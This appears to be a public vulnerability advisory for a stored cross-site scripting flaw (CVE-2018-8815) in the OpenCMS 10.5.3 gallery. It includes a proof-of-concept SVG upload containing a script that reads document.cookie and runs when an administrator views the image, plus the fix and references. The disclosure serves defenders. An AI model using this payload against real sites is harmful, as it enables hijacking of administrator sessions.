# Exploit Title: OpenCMS 10.5.3 Stored Cross Site Scripting Vulnerability # Google Dork: N/A # Date: 02-04-2018 ####################################### # Exploit Author: Sureshbabu Narvaneni # Author Blog : http://nullnews.in # Vendor Homepage: http://www.opencms.org/en/ # Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=a7747cd0-b27b-11e7-8299-7fde8b0295e1 # Affected Version: 10.5.3 # Category: WebApps # Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686 # CVE : CVE-2018-8815 1. Vendor Description: OpenCms from Alkacon Software is a professional, easy to use website content management system. OpenCms helps content managers worldwide to create and maintain beautiful websites fast and efficiently. 2. Technical Description: Cross-site scripting (XSS) vulnerability in the gallery function in Alkacon OpenCMS 10.5.3 allows remote attackers to inject arbitrary web script or HTML via a malicious SVG image. 3. Proof Of Concept: a) Login as user who is having Gallery Editor role. b) Navigate to gallery and upload below svg file. <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" " http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.cookie); </script> </svg> c) Once other user who is having Root Administrator permissions visited the image link or viewed the uploaded svg image the script get executed. 4. Solution: Upgrade to latest release. http://www.opencms.org/en/home/news.html 5. Reference: https://github.com/alkacon/opencms-core/issues/587 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-8815